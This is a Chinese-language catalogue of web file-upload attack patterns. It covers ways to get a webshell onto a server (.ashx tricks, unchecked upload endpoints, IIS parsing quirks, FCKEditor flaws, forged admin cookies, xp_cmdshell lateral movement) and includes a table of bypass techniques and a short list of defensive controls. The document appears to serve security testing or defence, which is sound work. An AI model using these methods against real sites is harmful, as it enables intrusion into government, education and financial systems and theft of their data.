.ashx 脚本绕过 .aspx 扩展名限制:部分 .NET 应用禁止执行 .aspx 格式,黑名单或 web.config 配置仅针对 .asp/.aspx;但 .ashx(HTTP 处理程序)在 IIS 上同样可被执行,且功能与 .aspx 等价。攻击者将木马内容以 .ashx 格式上传,利用其在 ProcessRequest 方法中执行任意代码,绕过了针对 .aspx 的过滤,尤其在政府、教育类 .NET 站点上因配置不统一而频繁可利用。
金融/支付平台企业资质上传接口无类型校验:支付机构、金融平台的企业入驻认证流程需要上传营业执照或证件照片,对应接口面向注册用户开放;服务端对 Content-Type 和文件实际内容均无二次校验,攻击者完成基础注册后直接上传 JSP/ASPX 木马,接口以正常业务凭证上传的形式成功落盘可执行文件。该类平台因业务连接大量商户数据和资金流水,getshell 后可直接接触核心交易记录。
通用英语测试/教务系统批量影响高校:面向高校部署的通用英语测试、大学选课等 SaaS 系统,同一套源码被大量院校复用;上传接口未做扩展名过滤,通过 intitle 或系统特征关键词搜索可一次性定位全量部署站点。由于高校系统通常与教务、成绩、学籍等核心数据联动,一个漏洞批量影响所有部署院校,且系统更新周期长、运维响应慢,漏洞窗口期普遍较长。
协作平台内部邮件/消息附件上传落盘可执行文件:家校沟通平台、企业协作系统的内部邮箱或消息功能允许发送附件;附件上传接口与主上传逻辑完全隔离,开发时关注点在消息传递而非文件安全,扩展名无任何校验。攻击者以普通用户身份给自己发送一封附带木马文件的消息,收件箱下载链接即暴露 webshell 落盘路径,整个利用过程完全隐藏在正常业务操作中,无异常请求特征。
应用日志文件泄露绝对路径辅助定位 shell:部分 Web 应用将运行日志(如 oa.log、错误日志)放置于 web 可访问目录,日志内容包含服务器绝对路径、已上传文件的完整物理地址。攻击者无需目录遍历或错误触发,直接请求已知日志路径即可读取路径信息,精准拼接 webshell 的可访问地址,尤其在上传接口不返回文件 URL 的系统中,日志文件成为还原 shell 地址的关键辅助。
安装锁文件 Last-Modified 时间反推认证凭证:部分 CMS 在安装完成时生成 install.lock 等静态锁文件,同时以当前时间戳为种子生成管理员 salt;锁文件通过 HTTP 响应的 Last-Modified 头暴露修改时间。攻击者请求该锁文件获取安装时间,本地重算 salt 并构造对应的认证 Cookie,伪造管理员身份绕过登录校验直接进入后台,再通过后台上传功能 getshell,整个认证绕过不依赖任何网络爆破。
上传错误响应携带时间戳可枚举 shell 文件名:服务端上传失败时返回含时间戳的错误信息,或虽产生服务端异常但文件已实际落盘,文件名以 YmdHis 等时间格式拼接而成。攻击者观察错误响应中的时间字段,在已知格式前提下枚举时间前后少量候选路径,命中落盘文件后完成触发。该模式与正常上传中的时间戳可预测属同一根因,区别在于路径信息从上传错误响应而非成功响应中泄露。
SiteServer CMS 后台弱口令上传 getshell:SiteServer 被大量政府、学校、企业部署作为内容管理平台,后台默认或弱口令(如 admin/admin)未修改的情况普遍;后台文件管理或素材上传功能对已登录用户完全开放,支持直接上传可执行扩展名文件。攻击者登录后台后无需任何额外绕过,利用内置功能一步落盘 shell,且由于同一套 CMS 的部署量极大,单一入侵模式可在众多高价值政务和教育站点批量复现。
目录遍历漏洞反查已上传文件位置:上传接口本身无回显,服务端不在响应中返回文件 URL;但同一系统存在目录遍历功能(如文件列表接口、SVN 目录暴露或 Web 服务器配置了 autoindex),攻击者借助目录遍历列出上传目录内容,从文件名列表中定位刚上传的 shell 文件并拼出可访问地址。两个看似独立的漏洞互为依赖,缺少任一则利用链断裂。
越权访问注册流程中断状态账号的上传入口:部分平台的注册流程可在中途放弃,中断后账号处于半激活状态;上传接口鉴权仅校验会话是否存在,未验证账号完成状态,中断状态的会话仍可访问上传接口。攻击者无需完成完整注册,仅提交第一步表单获取会话后即可访问后续步骤的上传入口,低成本批量获取无需审核的上传访问权限。
上传接口会话校验形同虚设可本地构造表单绕过:部分系统在浏览器端通过跳转拦截未登录访问,上传接口本身返回"登录超时"提示;服务端未对会话状态做有效验证,攻击者本地构造 HTTP 上传表单直接向接口地址发送请求,服务端依然接受文件并落盘。该模式与前端 JS 校验绕过属同类根因,区别在于拦截逻辑在服务端跳转层而非客户端脚本层。
双扩展名服务端取中间段解析:文件名 shell.php.jpg 在上传校验阶段取最后一段 .jpg 通过图片白名单,但服务端内部处理逻辑用点号分割文件名后取第二段作为实际扩展名,将文件按 .php 存储并解析执行。与绕过表中"双扩展名取最后一段"逻辑相反,触发条件依赖服务端取段方式,与其他双扩展名手法属于不同的解析分支。
.ashx 处理程序上传后写入 .aspx 落盘 getshell:.NET 应用屏蔽了 .aspx 直接上传,但未将功能等价的 .ashx 加入限制;攻击者上传一个 .ashx 文件,在其 ProcessRequest 方法中内嵌写文件逻辑,首次请求该接口时在同目录写出一个新的 .aspx 木马文件,随后访问该 .aspx 触发执行。整个过程上传阶段只写入 .ashx,绕过了对 .aspx 的拦截。
论坛/问答附件上传接口无扩展名校验:OA、工单系统、论坛等产品的提问、工单提交、评论回复功能支持用户附带文件,该附件上传接口与主文件管理逻辑独立开发,开发重心在消息功能而非安全校验,扩展名未做任何过滤。用户只需拥有普通账号即可访问,上传脚本文件后响应中直接返回可访问的文件地址,属于因功能分散导致安全盲区的典型入口。
富文本编辑器"插入附件"功能无独立扩展名过滤:部分内容管理系统后台或富文本编辑器提供"插入附件"按钮,该功能在实现时与图片上传共用接口但未复用校验逻辑,或单独实现但遗漏了扩展名过滤。攻击者通过编辑器附件入口直接上传 JSP/PHP 脚本,服务端以原始文件名存储到 web 目录,与 FCKEditor 的利用路径独立,大量自研编辑器和国产 OA 均存在此问题。
同一服务器 SA 账号横移政务内网:前台注册并利用上传漏洞 getshell 后,进程权限虽低,但从 web.config 中读取到以 SA 账号连接的 MSSQL 连接字符串;利用 SA 权限通过 xp_cmdshell 执行系统命令,进一步横移至同网段内网,发现大量政府机关信息系统均以弱口令互联,getshell 入口的实际危害由内网互联拓扑决定,远超应用本身。
读写分离架构中上传接口返回的路径指向写节点:部分系统采用读写分离或多节点架构,上传接口的响应中返回的文件访问地址指向写入节点而非对外服务节点,攻击者按响应地址访问时得到 404 或权限拒绝;真实可访问路径在另一台前端服务器上,需通过错误信息、目录遍历或已知路径规律推断,构成"上传成功但无法直接触发"的特殊场景。
彩票/金融交易核心系统 FCKEditor 编辑器未升级:彩票销售、金融交易等高价值系统因系统稳定性要求不敢轻易升级组件,长期沿用存在漏洞的旧版 FCKEditor;上传接口完全暴露,getshell 后可直接访问多年历史销售数据、停开终端控制接口,危害由系统业务性质决定,与普通 CMS 的上传漏洞在攻击面价值上有本质差异。
上传目录下以可执行扩展名命名的子目录触发 IIS 目录级解析:IIS 将上传目录中包含 .asp/.aspx 片段的路径识别为脚本上下文,攻击者在上传时控制目录名使其包含 .asp 字样(如通过 path 参数注入),随后上传的任意文件落入该目录后均被 IIS 作为 ASP 脚本执行,无需文件本身带可执行扩展名。区别于直接上传 .asp 文件,核心利用点在路径参数对目录名的控制,目录名的解析规则由 IIS 版本决定。
SVN 信息泄露配合 FCKEditor 上传双重入口批量影响:服务器同时存在 SVN 目录暴露和 FCKEditor 上传漏洞;攻击者先从 .svn 目录下载源代码确认 FCKEditor 版本和上传路径,再通过 FCKEditor 连接器上传脚本,两个信息点互相印证,精准消除盲探步骤。此组合在高校、媒体类站点中尤为集中,SVN 泄露覆盖率高且多数站点同时集成了 FCKEditor。
上传表单 hidden 字段白名单可本地修改绕过:部分系统将允许上传的扩展名列表以 hidden input 字段明文存储在上传页面 HTML 中,服务端直接读取该提交值作为过滤依据,未在后端独立维护白名单。攻击者在浏览器开发者工具中直接编辑 hidden 字段追加可执行扩展名,随后上传脚本文件,服务端信任客户端提交的白名单完成落盘。
| 绕过类别 | 典型手法 |
|---|---|
| 扩展名黑名单 | .php5、.phtml、.pht、.php3、.shtml(黑名单未穷举) |
| 大小写绕过 | .PHP、.Php(Windows 不区分大小写) |
| 双扩展名 | shell.php.jpg(部分服务器取最后一个扩展名) |
| Content-Type 伪造 | 将 Content-Type 改为 image/jpeg 绕过 MIME 类型检测 |
| 文件头伪造 | 在脚本文件头部追加图片 magic bytes(GIF89a) |
| 路径穿越 | 文件名含 ../ 导致文件落到 web 根目录之外或根下其他位置 |
| ZIP 路径穿越 | ZIP slip 攻击,解压时路径穿越到目标目录 |
| NULL 字节截断 | 文件名 shell.php%00.jpg,旧版 ASP/PHP 对 %00 截断,取前半段扩展名 .php 存储 |
| Web 服务器解析漏洞 | 上传路径包含 .asp/ 目录片段或以 /x.php 结尾触发 Nginx/IIS 对任意文件的解析执行 |
FCKEditor Type=File 参数 | 连接器请求中将 Type 改为 File,绕过仅允许图片类型的限制,接受任意扩展名 |
防御控制点
- 白名单校验扩展名:只允许明确列出的扩展名,而非过滤黑名单
- 多维度类型校验:同时验证扩展名、Content-Type、文件头 magic bytes,三者一致才通过
- 服务端重命名存储:上传后统一重命名为随机字符串+允许扩展名,攻击者无法预测路径
- 上传目录禁止执行:web 服务器配置上传目录不解析脚本(Nginx
location禁用 FastCGI) - 独立存储域名:文件托管到独立域名(CDN 或对象存储),与主站域名完全隔离,即使上传成功也无法在主站 Cookie 上下文执行